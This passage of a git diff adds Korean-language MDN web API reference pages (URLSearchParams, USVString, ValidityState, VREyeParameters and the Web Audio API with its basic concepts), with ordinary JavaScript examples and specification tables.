{{Compat("api.URLSearchParams")}}

+ +

같이 보기

+ + + +
+
diff --git a/files/ko/web/api/urlsearchparams/tostring/index.html b/files/ko/web/api/urlsearchparams/tostring/index.html new file mode 100644 index 0000000000..45f0373dec --- /dev/null +++ b/files/ko/web/api/urlsearchparams/tostring/index.html @@ -0,0 +1,78 @@ +--- +title: URLSearchParams.toString() +slug: Web/API/URLSearchParams/toString +translation_of: Web/API/URLSearchParams/toString +--- +

{{ApiRef("URL API")}}

+ +

toString() 은 {{domxref("URLSearchParams")}} 인터페이스의 메소드로서, URL에서 사용할 수 있는 쿼리 문자열을 리턴합니다.

+ +
+

Note: 이 메소드는 물음표가 없는 쿼리 문자열을 리턴합니다. 이는 물음표를 포함하여 리턴하는 window.location.search와는 다른 부분입니다.

+
+ +

{{availableinworkers}}

+ +

Syntax

+ +
URLSearchParams.toString()
+ +

Parameters

+ +

None.

+ +

Return value

+ +

A {{domxref("DOMString")}}, without the question mark.

+ +

Examples

+ +
let url = new URL('https://example.com?foo=1&bar=2');
+let params = new URLSearchParams(url.search.slice(1));
+
+//두번째 foo 파라미터를 추가합니다.
+params.append('foo', 4);
+console.log(params.toString());
+//'foo=1&bar=2&foo=4'를 출력합니다.
+
+// note: params can also be directly created
+let url = new URL('https://example.com?foo=1&bar=2');
+let params = url.searchParams;
+
+// or even simpler
+let params = new URLSearchParams('foo=1&bar=2');
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#interface-urlsearchparams', "toString() (see \"stringifier\")")}}{{Spec2('URL')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.URLSearchParams.toString")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/urlsearchparams/urlsearchparams/index.html b/files/ko/web/api/urlsearchparams/urlsearchparams/index.html new file mode 100644 index 0000000000..94f138a633 --- /dev/null +++ b/files/ko/web/api/urlsearchparams/urlsearchparams/index.html @@ -0,0 +1,76 @@ +--- +title: URLSearchParams() +slug: Web/API/URLSearchParams/URLSearchParams +translation_of: Web/API/URLSearchParams/URLSearchParams +--- +

{{ApiRef("URL API")}}

+ +

URLSearchParams() 생성자는 새로운 {{domxref("URLSearchParams")}} 객체를 생성하고 반환합니다.

+ +

{{availableinworkers}}

+ +

구문

+ +
var URLSearchParams = new URLSearchParams(init);
+ +

매개변수

+ +

init {{optional_inline}}

+ +

다음 중 하나:

+ + + +

반환값

+ +

{{domxref("URLSearchParams")}} 객체 인스턴스

+ +

예제

+ +

다음 예제는 URL string으로부터 {{domxref("URLSearchParams")}} 객체가 어떻게 만들어지는지를 보여줍니다.

+ +
// url 생성자에 전달된 주소를 url.search를 통해 params라는 변수로 검색합니다.
+var url = new URL('https://example.com?foo=1&bar=2');
+var params = new URLSearchParams(url.search);
+
+// 문자열 리터럴을 전달합니다.
+var params2 = new URLSearchParams("foo=1&bar=2");
+var params2a = new URLSearchParams("?foo=1&bar=2");
+
+// 일련의 쌍으로 전달합니다.
+var params3 = new URLSearchParams([["foo", "1"], ["bar", "2"]]);
+
+// 레코드로 전달합니다.
+var params4 = new URLSearchParams({"foo": "1", "bar": "2"});
+
+ +

사양

+ + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('URL', '#dom-urlsearchparams-urlsearchparams', "URLSearchParams()")}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.URLSearchParams.URLSearchParams")}}

+
diff --git a/files/ko/web/api/usvstring/index.html b/files/ko/web/api/usvstring/index.html new file mode 100644 index 0000000000..b3282f2b96 --- /dev/null +++ b/files/ko/web/api/usvstring/index.html @@ -0,0 +1,40 @@ +--- +title: USVString +slug: Web/API/USVString +tags: + - API + - DOM + - Reference + - String + - WebIDL +translation_of: Web/API/USVString +--- +
{{APIRef("DOM")}}
+ +

USVString은 유니코드 스칼라 값의 모든 가능한 시퀀스 집합에 해당합니다. USVString이 JavaScript로 전달될 땐 {{jsxref("String")}}으로 매핑되며, 보통 유니코드 스칼라 값 문자열을 필요로 하는 텍스트 처리 API에서만 사용합니다. USVString은 짝짓지 않은 서로게이트 코드포인트를 허용하지 않는 점을 제외하면 {{domxref("DOMString")}}과 같습니다. USVString의 해당 코드포인트는 브라우저가 유니코드 "대체 문자" U+FFFD(�)로 변환합니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebIDL', '#idl-USVString', 'USVString')}}{{Spec2('WebIDL')}}초기 정의.
+ +

같이 보기

+ + diff --git a/files/ko/web/api/validitystate/index.html b/files/ko/web/api/validitystate/index.html new file mode 100644 index 0000000000..ee2e9a1b6e --- /dev/null +++ b/files/ko/web/api/validitystate/index.html @@ -0,0 +1,83 @@ +--- +title: ValidityState +slug: Web/API/ValidityState +tags: + - API + - Constraint Validation API + - Forms + - HTML DOM + - Interface +translation_of: Web/API/ValidityState +--- +
{{APIRef("HTML DOM")}}
+ +

ValidityState 인터페이스는 제약 유효성 검사에 대해 요소가 가질 수 있는 유효성 상태를 나타내며, 요소의 값이 유효하지 않은 경우 그 이유에 대한 설명을 도와줍니다.

+ +

속성

+ +

각각의 {{jsxref("Boolean")}} 속성에 대해, true 값은 해당 이유로 인해 값의 유효성 검사를 실패했음을 나타냅니다. valid 속성은 예외로서 true는 모든 제약조건을 통과했음을 의미합니다.

+ +
+
{{domxref("ValidityState.badInput", "badInput")}} {{ReadOnlyInline}}
+
사용자가 입력한 값을 브라우저가 변환하지 못했음을 나타내는 {{jsxref("Boolean")}} 값입니다.
+
customError {{ReadOnlyInline}}
+
{{domxref('HTMLObjectElement.setCustomValidity', 'setCustomValidity()')}} 메서드를 사용해 요소의 사용자 지정 유효성 메시지를 비어있지 않은 문자열로 설정했는지를 나타내는 {{jsxref("Boolean")}} 값입니다.
+
{{domxref("ValidityState.patternMismatch", "patternMismatch")}} {{ReadOnlyInline}}
+
값이 주어진 {{htmlattrxref("pattern", "input")}} 특성을 만족하지 못하는지 나타내는 {{jsxref("Boolean")}} 값입니다 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.rangeOverflow", "rangeOverflow")}} {{ReadOnlyInline}}
+
값이 주어진 {{htmlattrxref("max", "input")}} 특성보다 큰지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.rangeUnderflow", "rangeUnderflow")}} {{ReadOnlyInline}}
+
값이 주어진 {{htmlattrxref("min", "input")}} 특성보다 작은지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.stepMismatch", "stepMismatch")}} {{ReadOnlyInline}}
+
값이 주어진 {{htmlattrxref("step", "input")}} 특성의 규칙을 만족하지 않는지 (즉, 값을 스텝 값으로 나눌 수 없는지) 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.tooLong", "tooLong")}} {{ReadOnlyInline}}
+
값이 {{domxref("HTMLInputElement")}} 또는 {{domxref("HTMLTextAreaElement")}} 객체의 maxlength 값보다 긴지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.tooShort", "tooShort")}} {{ReadOnlyInline}}
+
값이 {{domxref("HTMLInputElement")}} 또는 {{domxref("HTMLTextAreaElement")}} 객체의 minLength 값보다 짧은지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.typeMismatch", "typeMismatch")}} {{ReadOnlyInline}}
+
값이 입력 유형에서 요구하는 형식({{htmlattrxref("type", "input")}}이 email이나 url인 경우)에 맞지 않는지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.
+
valid {{ReadOnlyInline}}
+
요소가 모든 유효성 제약을 만족하여 유효한 상태인지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우 CSS {{cssxref(":valid")}} 의사 클래스를, 거짓일 경우 {{cssxref(":invalid")}} 의사 클래스를 만족합니다.
+
{{domxref("ValidityState.valueMissing", "valueMissing")}} {{ReadOnlyInline}}
+
요소가 {{htmlattrxref("required", "input")}} 특성을 가지고 있지만 값은 없는 경우 참인 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'form-control-infrastructure.html#validitystate', 'ValidityState') }}{{Spec2('HTML WHATWG')}}Living Standard
{{ SpecName('HTML5.1', 'sec-forms.html#validitystate-validitystate', 'ValidityState') }}{{Spec2('HTML5.1')}}No change from the previous snapshot {{SpecName('HTML5 W3C')}}.
{{ SpecName('HTML5 W3C', 'forms.html#validitystate', 'ValidityState') }}{{Spec2('HTML5 W3C')}}First snapshot of  {{SpecName('HTML WHATWG')}} containing this interface.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ValidityState")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/vreyeparameters/index.html b/files/ko/web/api/vreyeparameters/index.html new file mode 100644 index 0000000000..79f25639ba --- /dev/null +++ b/files/ko/web/api/vreyeparameters/index.html @@ -0,0 +1,88 @@ +--- +title: VREyeParameters +slug: Web/API/VREyeParameters +tags: + - API + - Experimental + - Landing + - Reference + - VR + - Virtual Reality + - WebVR +translation_of: Web/API/VREyeParameters +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

WebVR API의 VREyeParameters 인터페이스는 시야 정보 필드를 포함하여 특정한 눈에 대한 장면을 정확하게 렌더링 하는 데 필요한 모든 정보를 나타냅니다.

+ +

{{domxref("VRDisplay.getEyeParameters()")}} 방법을 통해 액세스 할 수 있습니다.

+ +
+

The values in this interface should not be used to compute view or projection matrices. In order to ensure the widest possible hardware compatibility use the matrices provided by {{domxref("VRFrameData")}}.

+
+ +

속성

+ +
+
{{domxref("VREyeParameters.offset")}} {{readonlyInline}}
+
사용자 눈 사이의 중심점에서 눈 중심까지의 거리를 미터 단위로 나타냅니다.
+
{{domxref("VREyeParameters.fieldOfView")}} {{readonlyInline}}
+
현재 눈에 보이는 시야를 설명하며,사용자가 동공 사이의 거리(m/s)를 조절할 때 달라질 수 있습니다.(IPD).
+
{{domxref("VREyeParameters.renderWidth")}} {{readonlyInline}}
+
각 눈 뷰포트의 권장 렌더 타겟 폭을 픽셀 단위로 설명합니다.
+
{{domxref("VREyeParameters.renderHeight")}} {{readonlyInline}}
+
각 눈 뷰포트의 권장 렌더 타겟 높이를 픽셀 단위로 나타냅니다..
+
+ +

예제

+ +
navigator.getVRDisplays().then(function(displays) {
+  // If a display is available, use it to present the scene
+  vrDisplay = displays[0];
+  console.log('Display found');
+  // Starting the presentation when the button is clicked:
+  //   It can only be called in response to a user gesture
+  btn.addEventListener('click', function() {
+    vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+      console.log('Presenting to WebVR display');
+
+      // Set the canvas size to the size of the vrDisplay viewport
+
+      var leftEye = vrDisplay.getEyeParameters('left');
+      var rightEye = vrDisplay.getEyeParameters('right');
+
+      canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+      canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);
+
+      drawVRScene();
+    });
+  });
+});
+ +

명세

+ + + + + + + + + + + + + + +
명세상태설명
{{SpecName('WebVR 1.1', '#vreyeparameters', 'VREyeParameters')}}{{Spec2('WebVR 1.1')}}최초 정의
+ +

브라우저 호환성

+ +

{{Compat("api.VREyeParameters")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html b/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html new file mode 100644 index 0000000000..571c15684e --- /dev/null +++ b/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html @@ -0,0 +1,354 @@ +--- +title: Basic concepts behind Web Audio API +slug: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API +tags: + - 가이드 + - 미디어 + - 오디오 + - 웹오디오API + - 웹오디오API이론 + - 이론 + - 컨셉 +translation_of: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API +--- +
+

Web Audio API의 기능이 어떻게 동작하는지에 대한 오디오 이론에 대해서 설명합니다. 마스터 사운드 엔지니어가 될 수 는 없지만, Web Audio API가 왜 그렇게 작동하는지에 대해 이해할 수 있는 충분한 배경 지식을 제공해서 개발중에 더 나은 결정을 내릴 수 있게합니다. 

+
+ +

Audio graphs

+ +

The Web Audio API involves handling audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. Several sources — with different types of channel layout — are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects.

+ +

Audio nodes are linked via their inputs and outputs, forming a chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination. Although, you don't have to provide a destination if you, say, just want to visualize some audio data. A simple, typical workflow for web audio would look something like this:

+ +
    +
  1. Create audio context.
  2. +
  3. Inside the context, create sources — such as <audio>, oscillator, stream.
  4. +
  5. Create effects nodes, such as reverb, biquad filter, panner, compressor.
  6. +
  7. Choose final destination of audio, for example your system speakers.
  8. +
  9. Connect the sources up to the effects, and the effects to the destination.
  10. +
+ +

A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information.

+ +

Each input or output is composed of several channels, which represent a specific audio layout. Any discrete channel structure is supported, including mono, stereo, quad, 5.1, and so on.

+ +

Show the ability of AudioNodes to connect via their inputs and outputs and the channels inside these inputs/outputs.

+ +

Audio sources can come from a variety of places:

+ + + +

Audio data: what's in a sample

+ +

When an audio signal is processed, sampling means the conversion of a continuous signal to a discrete signal; or put another way, a continuous sound wave, such as a band playing live, is converted to a sequence of samples (a discrete-time signal) that allow a computer to handle the audio in distinct blocks.

+ +

A lot more information can be found on the Wikipedia page Sampling (signal processing).

+ +

Audio buffers: frames, samples and channels

+ +

An {{ domxref("AudioBuffer") }} takes as its parameters a number of channels (1 for mono, 2 for stereo, etc), a length, meaning the number of sample frames inside the buffer, and a sample rate, which is the number of sample frames played per second.

+ +

A sample is a single float32 value that represents the value of the audio stream at each specific point in time, in a specific channel (left or right, if in the case of stereo). A frame, or sample frame, is the set of all values for all channels that will play at a specific point in time: all the samples of all the channels that play at the same time (two for a stereo sound, six for 5.1, etc.)

+ +

The sample rate is the number of those samples (or frames, since all samples of a frame play at the same time) that will play in one second, measured in Hz. The higher the sample rate, the better the sound quality.

+ +

Let's look at a Mono and a Stereo audio buffer, each is one second long, and playing at 44100Hz:

+ + + +

A diagram showing several frames in an audio buffer in a long line, each one containing two samples, as the buffer has two channels, it is stereo.

+ +

When a buffer plays, you will hear the left most sample frame, and then the one right next to it, etc. In the case of stereo, you will hear both channels at the same time. Sample frames are very useful, because they are independent of the number of channels, and represent time, in a useful way for doing precise audio manipulation.

+ +
+

Note: To get a time in seconds from a frame count, simply divide the number of frames by the sample rate. To get a number of frames from a number of samples, simply divide by the channel count.

+
+ +

Here's a couple of simple trivial examples:

+ +
var context = new AudioContext();
+var buffer = context.createBuffer(2, 22050, 44100);
+ +
+

Note: In digital audio44,100 Hz (alternately represented as 44.1 kHz) is a common sampling frequency. Why 44.1kHz? 
+
+ Firstly, because the hearing range of human ears is roughly 20 Hz to 20,000 Hz. Via the Nyquist–Shannon sampling theorem, the sampling frequency must be greater than twice the maximum frequency one wishes to reproduce. Therefore, the sampling rate has to be greater than 40 kHz.
+
+ Secondly, signals must be low-pass filtered before sampling, otherwise aliasing occurs. While an ideal low-pass filter would perfectly pass frequencies below 20 kHz (without attenuating them) and perfectly cut off frequencies above 20 kHz, in practice a transition band is necessary, where frequencies are partly attenuated. The wider this transition band is, the easier and more economical it is to make an anti-aliasing filter. The 44.1 kHz sampling frequency allows for a 2.05 kHz transition band.

+
+ +

If you use this call above, you will get a stereo buffer with two channels, that when played back on an AudioContext running at 44100Hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames/44100Hz = 0.5 seconds.

+ +
var context = new AudioContext();
+var buffer = context.createBuffer(1, 22050, 22050);
+ +

If you use this call, you will get a mono buffer with just one channel), that when played back on an AudioContext running at 44100Hz, will be automatically resampled to 44100Hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames/44100Hz = 1 second.

+ +
+

Note: audio resampling is very similar to image resizing. Say you've got a 16 x 16 image, but you want it to fill a 32x32 area. You resize (or resample) it. The result has less quality (it can be blurry or edgy, depending on the resizing algorithm), but it works, with the resized image taking up less space. Resampled audio is exactly the same: you save space, but in practice you will be unable to properly reproduce high frequency content, or treble sound.

+
+ +

Planar versus interleaved buffers

+ +

The Web Audio API uses a planar buffer format. The left and right channels are stored like this:

+ +
LLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRR (for a buffer of 16 frames)
+ +

This is very common in audio processing: it makes it easy to process each channel independently.

+ +

The alternative is to use an interleaved buffer format:

+ +
LRLRLRLRLRLRLRLRLRLRLRLRLRLRLRLR (for a buffer of 16 frames)
+ +

This format is very common for storing and playing back audio without much processing, for example a decoded MP3 stream.
+
+ The Web Audio API exposes only planar buffers, because it's made for processing. It works with planar, but converts the audio to interleaved when it is sent to the sound card for playback. Conversely, when an MP3 is decoded, it starts off in interleaved format, but is converted to planar for processing.

+ +

Audio channels

+ +

Different audio buffers contain different numbers of channels: from the more basic mono (only one channel) and stereo (left and right channels), to more complex sets like quad and 5.1, which have different sound samples contained in each channel, leading to a richer sound experience. The channels are usually represented by standard abbreviations detailed in the table below:

+ + + + + + + + + + + + + + + + + + + + +
Mono0: M: mono
Stereo0: L: left
+ 1: R: right
Quad0: L: left
+ 1: R: right
+ 2: SL: surround left
+ 3: SR: surround right
5.10: L: left
+ 1: R: right
+ 2: C: center
+ 3: LFE: subwoofer
+ 4: SL: surround left
+ 5: SR: surround right
+ +

Up-mixing and down-mixing

+ +

When the number of channels doesn't match between an input and an output, up- or down-mixing happens according the following rules. This can be somewhat controlled by setting the {{domxref("AudioNode.channelInterpretation")}} property to speakers or discrete:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
InterpretationInput channelsOutput channelsMixing rules
speakers1 (Mono)2 (Stereo)Up-mix from mono to stereo.
+ The M input channel is used for both output channels (L and R).
+ output.L = input.M
+ output.R = input.M
1 (Mono)4 (Quad)Up-mix from mono to quad.
+ The M input channel is used for non-surround output channels (L and R). Surround output channels (SL and SR) are silent.
+ output.L = input.M
+ output.R = input.M
+ output.SL = 0
+ output.SR = 0
1 (Mono)6 (5.1)Up-mix from mono to 5.1.
+ The M input channel is used for the center output channel (C). All the others (L, R, LFE, SL, and SR) are silent.
+ output.L = 0
+ output.R = 0

+ output.C = input.M
+ output.LFE = 0
+ output.SL = 0
+ output.SR = 0
2 (Stereo)1 (Mono)Down-mix from stereo to mono.
+ Both input channels (L and R) are equally combined to produce the unique output channel (M).
+ output.M = 0.5 * (input.L + input.R)
2 (Stereo)4 (Quad)Up-mix from stereo to quad.
+ The L and R input channels are used for their non-surround respective output channels (L and R). Surround output channels (SL and SR) are silent.
+ output.L = input.L
+ output.R = input.R
+ output.SL = 0
+ output.SR = 0
2 (Stereo)6 (5.1)Up-mix from stereo to 5.1.
+ The L and R input channels are used for their non-surround respective output channels (L and R). Surround output channels (SL and SR), as well as the center (C) and subwoofer (LFE) channels, are left silent.
+ output.L = input.L
+ output.R = input.R
+ output.C = 0
+ output.LFE = 0
+ output.SL = 0
+ output.SR = 0
4 (Quad)1 (Mono)Down-mix from quad to mono.
+ All four input channels (L, R, SL, and SR) are equally combined to produce the unique output channel (M).
+ output.M = 0.25 * (input.L + input.R + input.SL + input.SR)
4 (Quad)2 (Stereo)Down-mix from quad to stereo.
+ Both left input channels (L and SL) are equally combined to produce the unique left output channel (L). And similarly, both right input channels (R and SR) are equally combined to produce the unique right output channel (R).
+ output.L = 0.5 * (input.L + input.SL)
+ output.R = 0.5 * (input.R + input.SR)
4 (Quad)6 (5.1)Up-mix from quad to 5.1.
+ The L, R, SL, and SR input channels are used for their respective output channels (L and R). Center (C) and subwoofer (LFE) channels are left silent.
+ output.L = input.L
+ output.R = input.R
+ output.C = 0
+ output.LFE = 0
+ output.SL = input.SL
+ output.SR = input.SR
6 (5.1)1 (Mono)Down-mix from 5.1 to mono.
+ The left (L and SL), right (R and SR) and central channels are all mixed together. The surround channels are slightly attenuated and the regular lateral channels are power-compensated to make them count as a single channel by multiplying by √2/2. The subwoofer (LFE) channel is lost.
+ output.M = 0.7071 * (input.L + input.R) + input.C + 0.5 * (input.SL + input.SR)
6 (5.1)2 (Stereo)Down-mix from 5.1 to stereo.
+ The central channel (C) is summed with each lateral surround channel (SL or SR) and mixed to each lateral channel. As it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by √2/2. The subwoofer (LFE) channel is lost.
+ output.L = input.L + 0.7071 * (input.C + input.SL)
+ output.R = input.R
+ 0.7071 * (input.C + input.SR)
6 (5.1)4 (Quad)Down-mix from 5.1 to quad.
+ The central (C) is mixed with the lateral non-surround channels (L and R). As it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by √2/2. The surround channels are passed unchanged. The subwoofer (LFE) channel is lost.
+ output.L = input.L + 0.7071 * input.C
+ output.R = input.R + 0.7071 * input.C
+ output.SL = input.SL
+ output.SR = input.SR
Other, non-standard layoutsNon-standard channel layouts are handled as if channelInterpretation is set to discrete.
+ The specification explicitly allows the future definition of new speaker layouts. This fallback is therefore not future proof as the behavior of the browsers for a specific number of channels may change in the future.
discreteany (x)any (y) where x<yUp-mix discrete channels.
+ Fill each output channel with its input counterpart, that is the input channel with the same index. Channels with no corresponding input channels are left silent.
any (x)any (y) where x>yDown-mix discrete channels.
+ Fill each output channel with its input counterpart, that is the input channel with the same index. Input channels with no corresponding output channels are dropped.
+ +

Visualizations

+ +

In general, audio visualizations are achieved by accessing an ouput of audio data over time, usually gain or frequency data, and then using a graphical technology to turn that into a visual output, such as a graph. The Web Audio API has an {{domxref("AnalyserNode")}} available that doesn't alter the audio signal passing through it. Instead it outputs audio data that can be passed to a visualization technology such as {{htmlelement("canvas")}}.

+ +

Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT.

+ +

You can grab data using the following methods:

+ +
+
{{domxref("AnalyserNode.getFloatFrequencyData()")}}
+
Copies the current frequency data into a {{domxref("Float32Array")}} array passed into it.
+
+ +
+
{{domxref("AnalyserNode.getByteFrequencyData()")}}
+
Copies the current frequency data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.
+
+ +
+
{{domxref("AnalyserNode.getFloatTimeDomainData()")}}
+
Copies the current waveform, or time-domain, data into a {{domxref("Float32Array")}} array passed into it.
+
{{domxref("AnalyserNode.getByteTimeDomainData()")}}
+
Copies the current waveform, or time-domain, data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.
+
+ +
+

Note: For more information, see our Visualizations with Web Audio API article.

+
+ +

Spatialisations

+ +
+

An audio spatialisation (handled by the {{domxref("PannerNode")}} and {{domxref("AudioListener")}} nodes in the Web Audio API) allows us to model the position and behavior of an audio signal at a certain point in space, and the listener hearing that audio.

+ +

The panner's position is described with right-hand Cartesian coordinates; its movement using a velocity vector, necessary for creating Doppler effects, and its directionality using a directionality cone.The cone can be very large, e.g. for omnidirectional sources.

+
+ +

The PannerNode brings a spatial position and velocity and a directionality for a given signal.

+ +
+

The listener's position is described using right-hand Cartesian coordinates; its movement using a velocity vector and the direction the listener's head is pointing using two direction vectors: up and front. These respectively define the direction of the top of the listener's head, and the direction the listener's nose is pointing, and are at right angles to one another.

+
+ +

The PannerNode brings a spatial position and velocity and a directionality for a given signal.

+ +
+

Note: For more information, see our Web audio spatialization basics article.

+
+ +

Fan-in and Fan-out

+ +

In audio terms, fan-in describes the process by which a {{domxref("ChannelMergerNode")}} takes a series of mono input sources and outputs a single multi-channel signal:

+ +

+ +

Fan-out describes the opposite process, whereby a {{domxref("ChannelSplitterNode")}} takes a multi-channel input source and outputs multiple mono output signals:

+ +

diff --git a/files/ko/web/api/web_audio_api/index.html b/files/ko/web/api/web_audio_api/index.html new file mode 100644 index 0000000000..714ccdb2af --- /dev/null +++ b/files/ko/web/api/web_audio_api/index.html @@ -0,0 +1,523 @@ +--- +title: Web Audio API +slug: Web/API/Web_Audio_API +translation_of: Web/API/Web_Audio_API +--- +
+

Web Audio API는 웹에서 오디오를 제어하기 위한 강력하고 다양한 기능을 제공합니다. Web Audio API를 이용하면 오디오 소스를 선택할 수 있도록 하거나, 오디오에 이펙트를 추가하거나, 오디오를 시각화하거나, 패닝과 같은 공간 이펙트를 적용시키는 등의 작업이 가능합니다.

+
+ +

Web audio의 개념과 사용법

+ +

Web Audio API는 오디오 컨텍스트 내부의 오디오 조작을 핸들링하는 것을 포함하며, 모듈러 라우팅을 허용하도록 설계되어 있습니다. 기본적인 오디오 연산은 오디오 노드를 통해 수행되며, 오디오 노드는 서로 연결되어 오디오 라우팅 그래프를 형성합니다. 서로 다른 타입의 채널 레이아웃을 포함한 다수의 오디오 소스는 단일 컨텍스트 내에서도 지원됩니다. 이 모듈식 설계는 역동적이고 복합적인 오디오 기능 생성을 위한 유연성을 제공합니다.

+ +

오디오 노드는 각각의 입력과 출력을 통해 체인과 간단한 망으로 연결됩니다. 이들은 일반적으로 하나 이상의 소스로 시작합니다. 소스들은 초당 수만 개 가량의 아주 작은 시간 단위의 음향 인텐시티(샘플) 배열로 제공됩니다. 소스는 {{domxref("OscillatorNode")}}와 같이 수학적으로 계산된 것이거나, {{domxref("AudioBufferSourceNode")}} 또는 {{domxref("MediaElementAudioSourceNode")}}와 같은 사운드/비디오 파일, 마지막으로 {{domxref("MediaStreamAudioSourceNode")}}와 같은 오디오 스트림일 수 있습니다. 사실, 사운드 파일은 마이크나 전자기기로 생성된 음향 인텐시티가 녹음된 것에 불과하며, 하나의 복합적인 파동으로 믹싱됩니다.

+ +

오디오 노드의 출력은 다른 노드의 입력 단자와 연결될 수 있습니다. 이 입력은 노드의 사운드 샘플 스트림을 다른 스트림으로 믹스하거나 변경합니다. 일반적인 변경은 {{domxref("GainNode")}}와 같이 샘플에 소리를 더 키우거나 줄이는 값을 곱하는 것입니다. 사운드가 의도된 이펙트를 위해 충분히 처리되면, 이를 {{domxref("AudioContext.destination")}}의 입력에 연결해 사운드를 스피커와 헤드폰으로 출력합니다. 이 연결은 사용자가 오디오를 듣도록 하기 위한 용도로만 필요합니다.

+ +

웹 오디오의 간단하고 일반적인 작업 흐름은 다음과 같습니다 :

+ +
    +
  1. 오디오 컨텍스트를 생성합니다.
  2. +
  3. 컨텍스트 내에 소스를 생성합니다.(ex - <audio>, 발진기, 스트림)
  4. +
  5. 이펙트 노드를 생성합니다. (ex - 잔향 효과,  바이쿼드 필터, 패너, 컴프레서 등)
  6. +
  7. 오디오의 최종 목적지를 선택합니다. (ex - 시스템 스피커)
  8. +
  9. 사운드를 이펙트에 연결하고, 이펙트를 목적지에 연결합니다.
  10. +
+ +

A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information.

+ +

높은 정확도와 적은 지연시간을 가진 타이밍 계산 덕분에, 개발자는 높은 샘플 레이트에서도 특정 샘플을 대상으로 이벤트에 정확하게 응답하는 코드를 작성할 수 있습니다. 따라서 드럼 머신이나 시퀀서 등의 어플리케이션은 충분히 구현 가능합니다.

+ +

Web Audio API는 오디오가 어떻게 공간화될지 컨트롤할 수 있도록 합니다. 소스-리스너 모델을 기반으로 하는 시스템을 사용하면 패닝 모델거리-유도 감쇄 혹은 움직이는 소스(혹은 움직이는 청자)를 통해 유발된 도플러 시프트 컨트롤이 가능합니다.

+ +
+

Basic concepts behind Web Audio API 아티클에서 Web Audio API 이론에 대한 더 자세한 내용을 읽을 수 있습니다.

+
+ +

Web Audio API 타겟 사용자층

+ +

오디오나 음악 용어에 익숙하지 않은 사람은 Web Audio API가 막막하게 느껴질 수 있습니다. 또한 Web Audio API가 굉장히 다양한 기능을 제공하는 만큼 개발자로서는 시작하기 어렵게 느껴질 수 있습니다.

+ +

Web Audio API는 futurelibrary.no에서와 같이 배경 음악을 깔거나, 작성된 폼에 대한 피드백을 제공하는 등, 웹사이트에 간단한 오디오 기능을 제공하는 데에 사용될 수 있습니다. 그리고 물론 상호작용 가능한 상급자용 악기 기능을 만드는 데에도 사용할 수 있습니다. 따라서 Web Audio API는 개발자와 뮤지션 모두가 사용 가능합니다.

+ +

프로그래밍에는 익숙하지만 각종 용어나 API의 구조에 대해 공부하고 싶으신 분들을 위한 간단한 튜토리얼이 준비되어 있습니다.

+ +

Web Audio API의 원리에는 API 내에서 디지털 오디오가 어떻게 동작하는지 나와 있습니다. 해당 문서에는 API가 어떤 원리를 이용해 작성되었는지에 대한 설명도 잘 되어 있습니다.

+ +

